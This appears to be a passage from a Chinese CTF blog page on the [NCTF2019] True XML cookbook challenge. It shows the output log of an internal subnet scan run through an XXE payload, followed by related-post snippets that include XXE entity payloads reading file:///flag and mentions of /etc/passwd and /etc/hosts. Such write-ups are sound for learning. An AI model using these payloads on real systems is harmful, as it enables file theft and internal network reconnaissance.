http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.208
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.209
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.210
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.211
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.212
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.213
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.214
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.215
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.216
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.217
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.218
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.219
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.220
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.221
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.222
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.223
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.224
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.225
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.226
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.227
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.228
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.229
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.230
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.231
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.232
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.233
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.234
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.235
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.236
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.237
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.238
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.239
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.240
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.241
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.242
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.243
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.244
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.245
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.246
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.247
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.248
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.249
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.250
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.251
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.252
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.253
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时
199
10.128.253.254
http://c2e05306-aa3c-4b44-9602-873d7a9cca28.node4.buuoj.cn:81/doLogin.php   连接超时

进程已结束,退出代码0
Wolffy007
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
[NCTF2019]True XML cookbook 1(XML)
weixin_45577185的博客
10-20 350
总结一下知识点： 抓包，插入恶意XML外部实体 /etc/hosts 储存域名解析的缓存 /etc/passwd 用户密码 /proc/net/arp 每个网络接口的arp表中dev包 直接用下面的代码读取flag会报错 <?xml version="1.0" ?> <!DOCTYPE note [ <!ENTITY M1kael SYSTEM "file:///flag"> ]> <user> <username>&M1kael;&lt
【学习笔记 46】 buu [NCTF2019]Fake XML cookbook
weixin_43553654的博客
08-03 358
0x00 知识点 XXE攻击 0x01 知识点详解 什么是XXE攻击？ 答： XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。 这里有一篇大佬的博客可以学习学习 0x02 解题思路
[ctf web]XXE通过DTD读取文件+XML和DTD基础语法（以[ctfshow]web_ak4观心和[NCTF2019]Fake XML cookbook为例）
ShenZ的博客
08-23 692
XML基础 XML文件可以分为三部分： XML声明 <?xml version ="1.0" encoding="UTF-8"?> DTD文档定义类型。 文档元素 <foo><note category="COOKING"></note></foo> 根元素foo，子元素note，属性category XML语法 XML被设计为传输和存储数据 基本语法： - 所有 XML 元素都须有关闭标签。 - XML 标签对大小写敏感。 - X
[NCTF2019]childRSA WP Crypto
Power Security的博客
07-05 661
[NCTF2019]childRSA WP关于费马小定理题目中的p生成原理脚本 网上有关于本篇的writeup不多，虽然n可以直接使用yafu进行分解，但是我认为出题师傅的初衷应该是要考费马小定理，因此对照另一篇WP写一下自己的理解。第一次写WP，哪里写的不对的，欢迎批评指正 关于费马小定理 费马小定理描述的是对与p互素的任意值a，有a^（p-1） = 1 mod p ，根据这个公式，可以得出，存在一个值k，有k*p = a^（p-1） -1，即a^(p-1)-1=kp。 题目中的p生成原理 而题目中的p
BUU [NCTF2019]True XML cookbook
qq_62078839的博客
04-19 1892
打开连接 熟悉的界面，我们就不做黑盒测试了，直接抓包修改xml payload:<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [ <!ENTITY admin SYSTEM "file:///flag"> ]> <user><username>&admin;</username><password>123456</passwo...
[NCTF2019]True XML cookbook 1
qq_53460654的博客
05-30 744
之前写了个fake 这次又来个ture 打开环境 明确是xxe 直接抓包 回显位还是1 试试直接读flag <?xml version="1.0" ?> <!DOCTYPE note [ <!ENTITY M1kael SYSTEM "file:///flag"> ]> <user> <username>&M1kael;</username> <password>123456</password> &
[NCTF 2019]True XML cookbook
m0_70819573的博客
04-21 380
不能直接在根目录读取flag，但可以通过/etc/hosts获取内网。再通过扫描c段获得flag。
[NCTF2019]SQLi
最新发布
07-28
\[NCTF2019\]SQLi是一个CTF比赛中的题目，涉及到SQL注入。根据引用\[1\]和引用\[2\]的内容，可以得知在该题目中，通过构造特定的SQL语句，可以绕过过滤，获取到管理员的密码，从而获得flag。具体的解题思路是通过...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值